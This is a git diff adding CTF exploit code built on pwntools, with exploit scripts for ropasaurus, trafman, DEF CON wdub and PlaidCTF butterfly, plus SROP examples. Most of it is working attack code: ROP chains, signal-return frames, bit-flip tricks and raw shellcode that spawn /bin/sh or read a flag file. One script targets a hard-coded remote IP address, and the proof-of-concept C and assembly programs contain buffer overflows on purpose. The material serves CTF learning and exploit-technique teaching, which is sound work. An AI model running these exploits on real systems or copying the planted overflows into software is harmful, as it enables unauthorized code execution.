diff --git a/2013/pctf/ropasaurus/doit.py b/2013/pctf/ropasaurus/doit.py index cf0e0ac..67fde76 100755 --- a/2013/pctf/ropasaurus/doit.py +++ b/2013/pctf/ropasaurus/doit.py @@ -25,24 +25,16 @@ # Load the elf file rex = ELF(binary) -def myrop(base = None): - with context.local(log_level = 'WARNING'): - return ROP(rex, base = base) - # Our goal from here is to dynamically resolve the address for system # to do this, we migrate between two ROP chains in the .bss section addrs = [rex.bss(0x200), rex.bss(0x300)] cur_addr = addrs[0] # Read in the first rop at cur_addr and migrate to it -rop = myrop() +rop = ROP(rex) rop.read(0, cur_addr, 0x100) rop.migrate(cur_addr) log.info("Stage 1 Rop:\n%s" % (rop.dump())) -gdb.attach(r, ''' -b *0x804841c -''') -pause() r.send(padding + str(rop)) # Now we create a memleaker, so we can use DynELF @@ -50,22 +42,31 @@ def myrop(base = None): def leak(addr, length = 0x100): global cur_addr - rop = myrop(cur_addr) + rop = ROP(rex, base=cur_addr) cur_addr = addrs[1] if cur_addr == addrs[0] else addrs[0] rop.write(1, addr, length) rop.read(0, cur_addr, 0x100) rop.migrate(cur_addr) r.send(str(rop)) - return r.recvn(length) + data = r.recvn(length) + log.debug("Leaked %#x\n%s" % (addr, hexdump(data))) + return data # Use the memleaker to resolve system from libc resolver = DynELF(leak, elf=rex) -system = resolver.lookup('system') +libc = resolver.libc() # Call system('/bin/sh') -rop = myrop(cur_addr) -rop.call(system, ['/bin/sh']) +if libc: + rop = ROP([rex, libc], base=cur_addr) + rop.system('/bin/sh') +else: + system = resolver.lookup('system', 'libc') + rop = ROP([rex], base=cur_addr) + rop.call(system, ['/bin/sh']) + +log.info("Stage 2 Rop:\n%s" % (rop.dump())) # Send the rop and win r.send(str(rop)) diff --git a/2013/rwthCTF/trafman/pwn_trafman.py b/2013/rwthCTF/trafman/pwn_trafman.py new file mode 100644 index 0000000..b8bac77 --- /dev/null +++ b/2013/rwthCTF/trafman/pwn_trafman.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python2 +#Exploit for challenge trafman of rwthCTF2013. +# +#Launch arm binary directly on an i386 system: +#Ref: https://gist.github.com/zachriggle/8396235f532e1aeb146d +# apt-get install qemu-user-static libc6-armhf-cross +# mkdir /etc/qemu-binfmt +# ln -s /usr/arm-linux-gnueabihf /etc/qemu-binfmt/arm +# +#Create a directory named db next to the trafman binary. + +from pwn import * + +io = process("./trafman") +libc = ELF("/usr/arm-linux-gnueabihf/lib/libc.so.6") + +objectID = "A"*40 + +#Find out gadget in libc.so.6, Using ROPgadget now. +#0x00058bac : pop {r0, r4, pc} +pop = 0x00058bac + +#Step1: Leak libc base address. +io.sendlineafter("Username: ", "traffic_operator") +io.sendlineafter("number:\n", "23") +data = io.recvline_startswith(">") + +printf_addr = int(data.split(" ")[1][2:], 16) +libc.address = printf_addr - libc.symbols["printf"] + +binsh = libc.search("/bin/sh\x00").next() +pop = libc.address + pop + +#Step2: Build ROP chain. return-to-system. +# Segmentation fault at: 0x63616174 +offset = cyclic_find(p32(0x63616174)) +padding = cyclic(offset) +padding += p32(pop) +padding += p32(binsh) +padding += "AAAA" +padding += p32(libc.symbols["system"]) + +#Step3: Execute Command, make a file which length is large than stack. +io.sendlineafter("number:\n", "2") +io.sendlineafter("):\n", objectID) +io.sendlineafter("command:\n", padding) + +#Step4: Get Command, triger stack overflow, spawn a shell. +io.sendlineafter("number:\n", "1") +io.sendlineafter("command for:\n", objectID) +io.interactive() diff --git a/2013/rwthCTF/trafman/trafman b/2013/rwthCTF/trafman/trafman new file mode 100644 index 0000000..6ea1e88 Binary files /dev/null and b/2013/rwthCTF/trafman/trafman differ diff --git a/2014/defcon-finals/wdub-v1/README.md b/2014/defcon-finals/wdub-v1/README.md new file mode 100644 index 0000000..7f5a403 --- /dev/null +++ b/2014/defcon-finals/wdub-v1/README.md @@ -0,0 +1,88 @@ +# wdub + +wdub1 is static compiled ARMv7 binary. For some reason, IDA won't disassemble the binary correctly. We have to manually override the CPU architecture setting to ARMv7-M, then again, manually disassemble the instruction in Thumb mode with IDA's `MakeCode` functionality. + +![](images/image10.png) + +The real main routine is at 0x9210 + +![](images/image07.png) + +Strace tells us that wdub1 sets ALARM timer, also it can't be run from terminal (Socket operation on non-socket). + +![](images/image11.png) + +So what we need to do in order to debug this binary is: + +1. Disable alarm +2. Redirect I/O to socket. + +But the binary is static compiled and stripped. so it is difficult to disable alarm by patching. so we use signal masking to disable SIGALRM. + +```c +#include +#include +int main(){ + sigset_t signal_set; + sigaddset(&signal_set, SIGALRM); + sigprocmask(SIG_BLOCK, &signal_set, NULL); + char* args[] = {"./wdub", 0}; + execve(args[0], args, 0); + return 0; +} +``` + +After disable the alarm and redirect the I/O with xinet.d, we can run the binary and debug it. + +![](images/image03.png) + +At 0xc3b2 ~ 0xc3c2 the HTTP request object (12byte) is created. + +![](images/image14.png) + +HTTP request object is consisted with [size], [????], [pointer to request string] + +![](images/image01.png) + + +The request string is parsed and processed according to `GET`, `POST`, `OPTION`, `TRACE`, `PATCH`... + +![](images/image12.png) + + +While parsing `PATCH` request, it calculates the size of `Content-Length` which is `unsigned int` and checks if its smaller than 2000 bytes., however, while processing `X-Offset Header`, the value is treated as 'signed int', so we can bypass size limit by passing `X-Offset` value negative. +This creates integer overflow bug, and lets us overflow the stack buffer. + + +![](images/image06.png) + +![](images/image08.png) + + +The `PATCH` request loads the existing file to stack buffer size of `'Content-Length + X-Offset'`. + +So, first, we PATCH the `index.html` into size of N, then we `PATCH` again with negative X-Offset value in order to read index.html into small size of stack buffer. + +![](images/image00.png) + +With such two `PATCH` request, we can overflow `alloca` stack buffer. and we can get PC control + +After, this step, we can ROP to execute `execve("/bin/sh")`. + +Since, there is no ASLR, and the binary uses deterministic heap memory allocator, we can put any data at known memory address. so we put "/bin/sh" and the address of "/bin/sh" and pass them to R0, R1. and we set R2(environ) to 0 then we jump to SVC 0 gadget with R7=11 (sys_execve). +We could find such gadgets, from code section. + +```py +''' +.text:0000D95E 28 46 MOV R0, R5 +.text:0000D960 31 46 MOV R1, R6 +.text:0000D962 3A 46 MOV R2, R7 +.text:0000D964 98 47 BLX R3 +''' +GADGET = 0xd95e+1 +SVC = 0xd9b4+1 # .text:0000D9B4 SVC 0 +R3PC = 0x1b476+1 # .text:0001B476 POP {R3,PC} +R7PC = 0x8a50+1 # .text:00008A50 POP {R7,PC} +``` + +After ROP, we get shell. diff --git a/2014/defcon-finals/wdub-v1/exploit.py b/2014/defcon-finals/wdub-v1/exploit.py new file mode 100644 index 0000000..5ae2a10 --- /dev/null +++ b/2014/defcon-finals/wdub-v1/exploit.py @@ -0,0 +1,111 @@ +from pwn import * +context.arch = 'thumb' + +s = remote('104.236.216.181', 1703) + +# d95e: 4628 mov r0, r5 +# d960: 4631 mov r1, r6 +# d962: 463a mov r2, r7 +# d964: 4798 blx r3 +SET_ARGUMENTS = 0xd95e+1 + +# d9b4: df00 svc 0 +# d9b6: bd80 pop {r7, pc} +SVC_POP_R7_PC = 0xd9b4+1 + +# 1b476: bd08 pop {r3, pc} +POP_R3_PC = 0x1b476+1 + +# 8a50: bd80 pop {r7, pc} +POP_R7_PC = 0x8a50+1 + +# These BSS addresses are where we will store +# our execve buffers. +BINSH = 0x78ac0 # &"/bin/sh" +P_BINSH = 0x78ad0 # argv + +# 997c: e8bd 83f0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, pc} +POP_R4_THRU_R9_PC = 0x997c+1 + +# +# These registers are loaded when exiting from +# the function whose frame we have overwritten +# +rop = pack(0xdeadbeef) # R4, trash +rop += pack( 0) # R5, read() file descriptor +rop += pack(BINSH) # R6, read() buffer +rop += pack(128) # R7, read() size +rop += pack(POP_R3_PC) # PC + +# +# Now we load up R3 with the address of "pop {r7,pc}", +# which will be used at the end of SET_ARGUMENTS +# +rop += pack(POP_R7_PC) # r3 +rop += pack(SET_ARGUMENTS) # pc + +# +# We are now at POP_R7_PC. +# Here we are loading R7, which holds the syscall number. +# +rop += pack(constants.SYS_read) # r7 +rop += pack(SVC_POP_R7_PC) # pc + +# We are now at SVC_POP_R7_PC, which invokes read() +# to read "/bin/sh" into the BSS. +rop += pack(0) # r7 = envp +rop += pack(POP_R4_THRU_R9_PC) # pc + +# Now we load up a bunch of registers before +# Execve +rop += pack(0) # r4 +rop += pack(BINSH) # r5 +rop += pack(P_BINSH) # r6 +rop += pack(0) # r7 +rop += pack(0) # r8 +rop += pack(0) # r9 +rop += pack(POP_R3_PC) # pc + +# Here we load up R7 with SYS_execve, and +# then shuffle around all of the registers for +# the syscall +rop += pack(POP_R7_PC) # R3 +rop += pack(SET_ARGUMENTS) +rop += pack(constants.SYS_execve) # R7 + +# Now we invoke execve() +rop += pack(SVC_POP_R7_PC) + + +# First stage, which sets up our ROP stack +first = 'PATCH /index.html HTTP/1.1\r\nContent-Length: 132\r\n\r\n ' +first += '\x00'*43 +first += rop + +# Second stage, which invokes the ROP stack +second = 'PATCH /index.html HTTP/1.1\r\nContent-Length: 1\r\nX-Offset: 4294967280\r\nUser-Agent: aaaaaaaaaaaaaaa' +second += '\x00'*80 +second += '\r\n\r\n\x00' + +# Send the first stage +s.send(first) + +# Receive all of the data that gets pumped out +s.recvuntil('HTTP/1.1 200 OK') +s.recvuntil('\r\n') +s.recvuntil('\r\n') +s.recvuntil('\r\n') +s.recvuntil('\r\n') +s.recvuntil('\r\n') + +# Send the second stage +s.send(second) + +# Our ROP stack is now invoking the syscall read(), +# so that we can have "/bin/sh" at a known location +# in the BSS. +s.send('/bin/sh\x00' + 'A'*8 + pack(P_BINSH) + '\x00\x00\x00\x00\n') + +# Should hit execve and win. +s.clean() +s.interactive() diff --git a/2014/defcon-finals/wdub-v1/images/image00.png b/2014/defcon-finals/wdub-v1/images/image00.png new file mode 100644 index 0000000..de7a197 Binary files /dev/null and b/2014/defcon-finals/wdub-v1/images/image00.png differ diff --git a/2014/defcon-finals/wdub-v1/images/image01.png b/2014/defcon-finals/wdub-v1/images/image01.png new file mode 100644 index 0000000..4478a00 Binary files /dev/null and b/2014/defcon-finals/wdub-v1/images/image01.png differ diff --git a/2014/defcon-finals/wdub-v1/images/image02.png b/2014/defcon-finals/wdub-v1/images/image02.png new file mode 100644 index 0000000..362c940 Binary files /dev/null and b/2014/defcon-finals/wdub-v1/images/image02.png differ diff --git a/2014/defcon-finals/wdub-v1/images/image03.png b/2014/defcon-finals/wdub-v1/images/image03.png new file mode 100644 index 0000000..23c90bb Binary files /dev/null and b/2014/defcon-finals/wdub-v1/images/image03.png differ diff --git a/2014/defcon-finals/wdub-v1/images/image04.png b/2014/defcon-finals/wdub-v1/images/image04.png new file mode 100644 index 0000000..98b16ce Binary files /dev/null and b/2014/defcon-finals/wdub-v1/images/image04.png differ diff --git a/2014/defcon-finals/wdub-v1/images/image05.png b/2014/defcon-finals/wdub-v1/images/image05.png new file mode 100644 index 0000000..708cc98 Binary files /dev/null and b/2014/defcon-finals/wdub-v1/images/image05.png differ diff --git a/2014/defcon-finals/wdub-v1/images/image06.png b/2014/defcon-finals/wdub-v1/images/image06.png new file mode 100644 index 0000000..cff8fb8 Binary files /dev/null and b/2014/defcon-finals/wdub-v1/images/image06.png differ diff --git a/2014/defcon-finals/wdub-v1/images/image07.png b/2014/defcon-finals/wdub-v1/images/image07.png new file mode 100644 index 0000000..fc3ad7f Binary files /dev/null and b/2014/defcon-finals/wdub-v1/images/image07.png differ diff --git a/2014/defcon-finals/wdub-v1/images/image08.png b/2014/defcon-finals/wdub-v1/images/image08.png new file mode 100644 index 0000000..0be6c59 Binary files /dev/null and b/2014/defcon-finals/wdub-v1/images/image08.png differ diff --git a/2014/defcon-finals/wdub-v1/images/image09.png b/2014/defcon-finals/wdub-v1/images/image09.png new file mode 100644 index 0000000..2f23c2d Binary files /dev/null and b/2014/defcon-finals/wdub-v1/images/image09.png differ diff --git a/2014/defcon-finals/wdub-v1/images/image10.png b/2014/defcon-finals/wdub-v1/images/image10.png new file mode 100644 index 0000000..d32ee71 Binary files /dev/null and b/2014/defcon-finals/wdub-v1/images/image10.png differ diff --git a/2014/defcon-finals/wdub-v1/images/image11.png b/2014/defcon-finals/wdub-v1/images/image11.png new file mode 100644 index 0000000..6af7559 Binary files /dev/null and b/2014/defcon-finals/wdub-v1/images/image11.png differ diff --git a/2014/defcon-finals/wdub-v1/images/image12.png b/2014/defcon-finals/wdub-v1/images/image12.png new file mode 100644 index 0000000..476ac07 Binary files /dev/null and b/2014/defcon-finals/wdub-v1/images/image12.png differ diff --git a/2014/defcon-finals/wdub-v1/images/image13.png b/2014/defcon-finals/wdub-v1/images/image13.png new file mode 100644 index 0000000..3a12c1a Binary files /dev/null and b/2014/defcon-finals/wdub-v1/images/image13.png differ diff --git a/2014/defcon-finals/wdub-v1/images/image14.png b/2014/defcon-finals/wdub-v1/images/image14.png new file mode 100644 index 0000000..7adafb1 Binary files /dev/null and b/2014/defcon-finals/wdub-v1/images/image14.png differ diff --git a/2014/defcon-finals/wdub-v1/images/image15.png b/2014/defcon-finals/wdub-v1/images/image15.png new file mode 100644 index 0000000..6023a29 Binary files /dev/null and b/2014/defcon-finals/wdub-v1/images/image15.png differ diff --git a/2014/defcon-finals/wdub-v1/patch.py b/2014/defcon-finals/wdub-v1/patch.py new file mode 100644 index 0000000..af096aa --- /dev/null +++ b/2014/defcon-finals/wdub-v1/patch.py @@ -0,0 +1,10 @@ +from pwn import * + +# +# This patch changes a BLS (unsigned compare) to BLE (signed compare), +# which should avoid the overflow. +# +context.arch = 'thumb' +elf = ELF('./wdub') +elf.write(0xaa18, '\x04\xdd') +elf.save('./wdub-patch') diff --git a/2014/defcon-finals/wdub-v1/wdub b/2014/defcon-finals/wdub-v1/wdub new file mode 100755 index 0000000..d322b9c Binary files /dev/null and b/2014/defcon-finals/wdub-v1/wdub differ diff --git a/2016/plaid/butterfly/butterfly b/2016/plaid/butterfly/butterfly new file mode 100755 index 0000000..840c015 Binary files /dev/null and b/2016/plaid/butterfly/butterfly differ diff --git a/2016/plaid/butterfly/exploit.py b/2016/plaid/butterfly/exploit.py new file mode 100644 index 0000000..cc81440 --- /dev/null +++ b/2016/plaid/butterfly/exploit.py @@ -0,0 +1,253 @@ +#============================================================================== +# PLAID CTF 2016 PWNABLE BUTTERFLY +#============================================================================== +# +#tl;dr bit flip followed by ROP and return to shellcode. + +from pwn import * +p=process('./butterfly') +context.bits=64 + +#============================================================================== +# BACKGROUND +#============================================================================== +# +#The binary first takes in an input and then converts it into a number using strtol() (call it n) +#and stores it in rbx register. Then it divides n by 3 and stores the result in rbp register. +# +#It then calls mprotect() twice on this result. +#The first time giving it an rwx permission and then an rw permission. +#It then calls mprotect() twice on this result, the first time giving it an rwx permission and then an rw permission. +#And then it goes on to execute these instructions. +# +# <+135>: and bl,0x7 +# <+138>: mov r14d,0x1 +# <+144>: mov eax,0x1 +# <+149>: mov cl,bl +# <151>: shl eax,cl +# <+153>: movzx ecx,BYTE PTR [rbp+0x0] +# <+157>: xor ecx,eax +# <+159>: mov BYTE PTR [rbp+0x0],cl +# +#So the fist line makes sure that the value in bl is less than or equal to 7. +#Line <+149> and <+151> are the ones that control the value of eax. +#At line <+153> , the value of ecx is the last byte at the address in rbp. +#The xor operation is where the bit-flip occurs. +#Line <+159> finally moves back the value of cl to the address in rbp. +#The vuln lies in the fact that we can flip a single bit anywhere, even in the text section. +# +#The vulnerability lies in the fact that we can flip a single bit anywhere, even in the text section. +#So If we were to give the address of the instruction +# <+216>: add rsp,0x48 +#And make sure that eax contains 0x40 before the xor instruction, this line would then become: +# <+216>: add rsp,0x8 <- Overflow. +#The byte 0x48 of the instruction is stored at 0x400863. +#Multiplying this address by 8 gives 0x2004318. +#So now, rbx would contain 0x2004318 and rbp would contain 0x400863. +#So bl would contain 0x18. +#That’s bad because the result of the `and` operation would result in 0. +#But we don’t need to necessarily give 0x2004318 in order to get rbp=0x400863. +#Because any value between 0x2004318 and 0x200431f when divided by 8, +# gives us the same value which is 0x400863. +#That’s bad because the result of the ‘and’ operation would result in 0. +#But we don’t need to necessarily give 0x2004318 in order to get rbp=0x400863. +#Because any value between 0x2004318 and 0x200431f when divided by 8 gives us the same value which is 0x400863. +#So if we were to give an input value 0x200431e, it would make bl=0x6. +#And then eax would be shl 0x1,0x6 which is 0x40. + +#So here's a nice wrapper to send the payload. +def func(payload): + log.info(p.recv(timeout=0.1)) + p.sendline(payload) + log.info(p.recvline()) + +#============================================================================== +# GET CONTROL OF RIP +#============================================================================== +#Following the above mentioned steps, lets first get control over the saved instruction pointer. +# +#Since canary was enabled, we couldn't do anything we wanted yet. +# <+197>: mov rax,QWORD PTR fs:0x28 +# <+206>: cmp rax,QWORD PTR [rsp+0x40] +# <+211>: jne 0x400883 +#So my idea was to first tweak the line <+211> so that the jump changes to a short one and lands again into the epilogue. +#This is what the bytes look like at the line <+211> +# 0x40085b : 0x75 0x26 +#The byte 0x26 is the offset. +#So first lets change that 0x26 to something smaller. + +log.progress("Starting first iteration") +payload=flat("0x200431e ","A"*30,pack(0x0000000000400792)) + +#last nibble of address is 0xe +#cl=0xe & 0x7 = 0x6 +#eax= 2^6 =0x40 +#ecx=0x48 +#xor ecx,eax => ecx=0x8 + +func(payload) + +#Checking the binary out in gdb, we see that the instructions have been changed. +# <+216>: add rsp,0x8 +# <+220>: pop rbx +# <+221>: pop r14 +# <+223>: pop r15 +# <+225>: pop rbp +# <+226>: ret +# +#Alright we',ve got control. Now lets tweak the jne statement. +#Remember, until we've completely got the jne statement under our control, we have to return to the function's prologue. + +#============================================================================== +# TWEAKING JUMP OFFSET +#============================================================================== + + +log.progress("Starting second iteration") +payload=flat("0x20042e5 ","A"*30,pack(0x0000000000400792)) + +#The last nibble of the address is 5. +#cl=0x5 & 0x7 = 0x5 +#eax = 2 ^ 5=0x20 +#ecx=0x26 +#xor ecx,eax => ecx=0x6 + +func(payload) + +# <+206>: cmp rax,QWORD PTR [rsp+0x40] +# <+211>: jne 0x400863 +# .... +# 0x400860 <+216>: add rsp,0x8 +# 0x400864 <+220>: pop rbx +# .... + +#So we can see that the jump statement has changed from to +# 0x40085b : 0x75 0x06 +#But since at we dont have a valid instruction, we need to change it again. + +log.progress("Starting third iteration") +payload=flat("0x20042e3 ","A"*30,pack(0x0000000000400792)) + +#bl=0x3 +#cl=0x3 & 0x7 = 0x3 +#eax = 2^3 = 0x8 +#ecx=0x6 +#xor ecx,eax => ecx=0xe + +func(payload) + +# <+211>: jne 0x40086b +# .... +# <+226>: ret +# <+227>: ... + +#Still not there yet. Maybe one more iteration perhaps?. + +log.progress("Starting Fourth iteration") +payload=flat("0x20042e1 ","A"*30,pack(0x0000000000400792)) + +#bl=0x1 +#cl=0x1 & 0x7 = 0x7 +#eax=2^1 =0x2 +#ecx=0xe +#xor ecx,eax => ecx=0xc + +func(payload) + +# <+211>: jne 0x400869 +# .... +# <+225>: pop rbp +# <+226>: ret +# .... + +#Well that seems to have done it. +#Since one half is over, we'll move on to the next part. + +#============================================================================== +# CHANGE MPROTECT PERMISSIONS. +#============================================================================== + +#Since mprotect is anyway being called by the binary, why dont we call it again to make something executable? +#The second mprotect call sets the permissions to read/write. So next we'll change that to read/write/exec. +# +# .... +# <+167>: mov edx,0x5 +# <+172>: mov rdi,r15 +# <+175>: call 0x400660 +# .... +# +#So what we need to do here is to change the 0x5 to 0x7. + +log.progress("Starting fifth iteration") +payload=flat("0x2004181 ","A"*30,pack(0x00000000004007b8)) + +#bl=0x1 +#cl=0x1 & 0x7 =0x1 +#eax=2^1 = 0x2 +#ecx=0x5 +#xor ecx,eax => ecx=0x7 + +func(payload) + +# .... +# <+167>: mov edx,0x7 +# <+172>: mov rdi,r15 +# <+175>: call 0x400660 +# .... +#So we've successfully changed that. Now all we need is a memory leak. +# +#============================================================================== +# LEAKING MEMORY ADDRESS +#============================================================================== +# +#I found a gadget which could control rdi. +# 0x4008f3 <__libc_csu_init+99>: pop rdi +# 0x4008f4 <__libc_csu_init+100>: ret +#And then an address where I found a pointer to an mmapp'ed region. +# 0x600ba8: 0x00007ffff7ffe1a0 +#So using that to return to a call to puts +# 0x400845 : call 0x400600 +#leaks out the address. The fact that we've changed the jne statement comes into use here. +#If we had not tweaked the jne statement, our game would've been over by now. + +log.progress("Leaking address") +payload=flat("A"*8,pack(0x004008f3),pack(0x600ba8),pack(0x400845),"A"*8,pack(0x400792)) +func(payload) +msg=p.recvline() +context.bits=len(msg)*8 +a=hex(unpack(msg))[3:] +msg=int(a,16)-20896 +log.success("Leaked address of shellcode "+hex(msg+0x10)) + +# +#============================================================================== +# MAKING PAGE EXECUTABLE +#============================================================================== +#So now that we've leaked the address of a page, the next objective is to make it executable. +#Since we've changed the permissions of the last mprotect call to rwx, this should be a piece of cake. + +log.progress("Setting memory protections") +payload=flat(hex(msg*8)," ","A"*24,pack(0x400792),"\x00\x00") +log.info(p.recvline()) +p.send(payload) +log.info(p.recvline()) + +#vmmap +# 0x00007f1b21254000 0x00007f1b21257000 rwxp mapped +#So we've successfully made the page executable. You can see that this page does indeed contain the input that we give. +# 0x00007f1b21254000: "0x2004181 ", 'A' , + +#============================================================================== +# READING SHELLCODE +#============================================================================== +#Now we just need to return to the function to read in shellcode. And then just return to the leaked address. + +log.progress("Sending shellcode") +shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" +payload=flat(hex(msg*8)," ",shellcode,"\x00",pack(msg+0x10),"\x00") +func(payload) +if p.connected(): + l.success("Got shell") + p.interactive() +else: + log.failure("Exploit didn't work") diff --git a/srop-examples/srop/doit.py b/srop-examples/srop/doit.py new file mode 100644 index 0000000..d9411f8 --- /dev/null +++ b/srop-examples/srop/doit.py @@ -0,0 +1,90 @@ +#!/usr/bin/python + +""" +A set of examples that demonstrate how to mount an SROP attack +using pwntools/binjitsu. +Example tested on : + Distributor ID:Ubuntu + Description:Ubuntu 13.10 + Release:13.10 + Codename:saucy + Linux z-VirtualBox 3.11.0-26-generic #45-Ubuntu SMP Tue Jul 15 04:04:15 UTC 2014 i686 i686 i686 GNU/Linux +""" + +import os +import sys + +from pwn import * + +# Turn of all logging +context.log_level = 10000 + +""" +Example 1: + Getting a shell from a binary that has an information leak. + The binary is linked with libc. + This example shows basic srop capabilities. +""" +def exploit(): + PAGE_SIZE = 4096 + + e = ELF('poc-32') + + p = process("poc-32") + c = constants + + # We receive the "leaked" address of our input buffer + p.recvuntil("Buffer = ") + buffer_address = int(p.recvline()[:-1], 16) + buffer_page = buffer_address & ~(PAGE_SIZE - 1) + + # Addresses of the gadgets we use to mount the attack + INT_80 = e.symbols["make_syscall"] + POP_ESP_RET = e.symbols["set_stackptr"] + POP_EAX_RET = e.symbols["set_eax"] + + sploit = "" + sploit += pack(POP_EAX_RET) + sploit += pack(c.i386.SYS_sigreturn) + sploit += pack(INT_80) + + s = SigreturnFrame() + + s.eax = constants.SYS_mprotect # syscall number + s.ebx = buffer_page # page containing buffer + s.ecx = PAGE_SIZE # page size + s.edx = c.PROT_READ | c.PROT_WRITE | c.PROT_EXEC # prot + s.ebp = buffer_page # valid value for ebp + s.eip = INT_80 # syscall instruction + + # At the offset 92, we have an address that points to our + # shellcode. The shellcode resides at offset 84. + s.esp = buffer_address + 92 + + sploit += s.get_frame() + + # The address of the shellcode + sploit += pack(buffer_address+96) + + # Our shellcode + sploit += asm(shellcraft.dupsh()) + + # Register state : + # EBP: 0xbffffb58 ("jaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaaf") + # ESP: 0xbffffb50 ("haafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaaf") + # EIP: 0x66616167 ('gaaf') + # [-------------------------------------code-------------------------------------] + # Invalid $PC address: 0x66616167 + eip_offset = cyclic_find("gaaf") + + # 524 bytes to get to the base pointer. Then we give the + # base pointer a valid value i.e. `buffer_page` + sploit += "\x90" * (eip_offset - 4 - len(sploit)) + sploit += pack(buffer_page) + sploit += pack(POP_ESP_RET) + sploit += pack(buffer_address) # Buffer address + + p.send(sploit) + p.interactive() + +exploit() diff --git a/srop-examples/srop/harness.py b/srop-examples/srop/harness.py new file mode 100755 index 0000000..6f8232b --- /dev/null +++ b/srop-examples/srop/harness.py @@ -0,0 +1,27 @@ +#!/usr/bin/python + +from pwn import * +import os, signal +context.log_level = 10000 + +# Making sure the gadgets in the poc are cached, so that +# we do not have to give an unnecessarily high timeout +# below. +r = ROP("poc-32") + +with tempfile.NamedTemporaryFile() as fd: + s = randoms(12)+"\n" + fd.write(s) + fd.flush() + + try: + p = process(["python", "doit.py"]) + + p.sendline("cat " + fd.name) + flag = p.recvline(timeout=5) + if b64e(flag) == b64e(s): + print "ok" + else: + print "not ok" + finally: + p.close() diff --git a/srop-examples/srop/poc-32 b/srop-examples/srop/poc-32 new file mode 100755 index 0000000..1c7d033 Binary files /dev/null and b/srop-examples/srop/poc-32 differ diff --git a/srop-examples/srop/poc-32.c b/srop-examples/srop/poc-32.c new file mode 100644 index 0000000..5adb5b1 --- /dev/null +++ b/srop-examples/srop/poc-32.c @@ -0,0 +1,38 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +void make_syscall(void) { + asm(".intel_syntax noprefix\n"); + asm("int 0x80\n"); + asm("ret\n"); +} + +void set_stackptr(void) { + asm(".intel_syntax noprefix\n"); + asm("pop esp\n"); +} + +void set_eax(void) { + asm(".intel_syntax noprefix\n"); + asm("pop eax\n"); +} + +int read_input() { + char buffer[512]; + printf("Buffer = %p\n", buffer); + read(0, buffer, 600); + return 0; +} + +int main(int argc, char const *argv[]) +{ + read_input(); + return 0; +} + diff --git a/srop-examples/srop2/doit.py b/srop-examples/srop2/doit.py new file mode 100755 index 0000000..4e7b882 --- /dev/null +++ b/srop-examples/srop2/doit.py @@ -0,0 +1,69 @@ +#!/usr/bin/python + +""" +A set of examples that demonstrate how to mount an SROP attack +using pwntools/binjitsu. +Example tested on : + #Distributor ID:Ubuntu + #Description:Ubuntu 13.10 + #Release:13.10 + #Codename:saucy + #Linux z-VirtualBox 3.11.0-26-generic #45-Ubuntu SMP Tue Jul 15 04:04:15 UTC 2014 i686 i686 i686 GNU/Linux +""" + +import os +import sys + +from pwn import * + +# Turn off all logging +context.log_level = 10000 + +""" +Example 2: + Reading a flag and sending over data. + The binary is not linked with libc. + This example demonstrates srop-rop integration. +""" +def exploit_nasm(flagfile): + r = ROP("poc-nasm") + p = process("./poc-nasm") + + function_address = p.unpack() + buffer_address = p.unpack() - 4 + POP_ESP_RET = function_address + 0 + + # At the top of the payload, you have the name of the + # flagfile + sploit = "%s\0" % flagfile + + # Now we have the ropchains + r.open(buffer_address, 0, 0) + + # The following call switches to SROP automatically + r.sendfile(constants.STDOUT_FILENO, 3, 0, 100) + + # Append what we have to sploit + sploit += str(r) + + # + # ESP: 0xbffffbd0 ("qaacraacsaactaacuaacvaacwaacxaacyaac\n\375\377\277") + # EIP: 0x63616170 ('paac') + # [-------------------------------------code-------------------------------------] + # Invalid $PC address: 0x63616170 + eip_offset = cyclic_find('paac') + + sploit += "A" * (eip_offset - len(sploit)) + + # Overwrite the return address and set the ESP to the start + # of the ropchain(i.e. where we have the call to `open`). + sploit += pack(POP_ESP_RET) + sploit += pack(buffer_address+len(flagfile)+1) + + p.send(sploit) + flag = p.recvline() + return flag + +# Second example +flag = exploit_nasm(args['FLAG']) +print b64e(flag) diff --git a/srop-examples/srop2/harness.py b/srop-examples/srop2/harness.py new file mode 100755 index 0000000..672ade0 --- /dev/null +++ b/srop-examples/srop2/harness.py @@ -0,0 +1,20 @@ +#!/usr/bin/env python + +from pwn import * +import os, signal +context.log_level = 1000 + +with tempfile.NamedTemporaryFile() as fd: + s = randoms(12)+"\n" + fd.write(s) + fd.flush() + try: + p = process(["python", "doit.py", "FLAG=%s"%fd.name]) + #p.sendline(fd.name) + flagenc = p.recvline(timeout=5).strip() + if flagenc == b64e(s): + print "ok" + else: + print "not ok" + finally: + p.close() diff --git a/srop-examples/srop2/poc-nasm b/srop-examples/srop2/poc-nasm new file mode 100755 index 0000000..7b8e2b5 Binary files /dev/null and b/srop-examples/srop2/poc-nasm differ diff --git a/srop-examples/srop2/poc-nasm.S b/srop-examples/srop2/poc-nasm.S new file mode 100644 index 0000000..3c67a5d --- /dev/null +++ b/srop-examples/srop2/poc-nasm.S @@ -0,0 +1,63 @@ +section .text + +global _start + +_test: + sub esp, 0x100 + + ; Leak the buffer address + mov eax, 4 + mov ebx, 1 + push esp + mov ecx, esp + mov edx, 4 + int 0x80 + + ; Read input that causes the buffer overflow + mov eax, 3 + mov ebx, 0 + mov ecx, esp + mov edx, 0x400 + int 0x80 + add esp, 0x104 + ret + +open: + mov eax, 5 + mov ebx, [esp+4] + mov ecx, [esp+8] + mov edx, [esp+0xc] + int 0x80 + ret + + +_gadgets: + pop esp + ret + pop eax + ret + mov eax, 0x77 + int 0x80 + ret + add esp, 0x10 + ret + +_printaddress: + mov eax, 4 + mov ebx, 1 + call $+5 + pop ecx + sub ecx, 31 + push ecx + mov ecx, esp + mov edx, 0x4 + int 0x80 + pop edx + ret + +_start: + call _printaddress + call _test + mov eax, 1 + int 0x80 +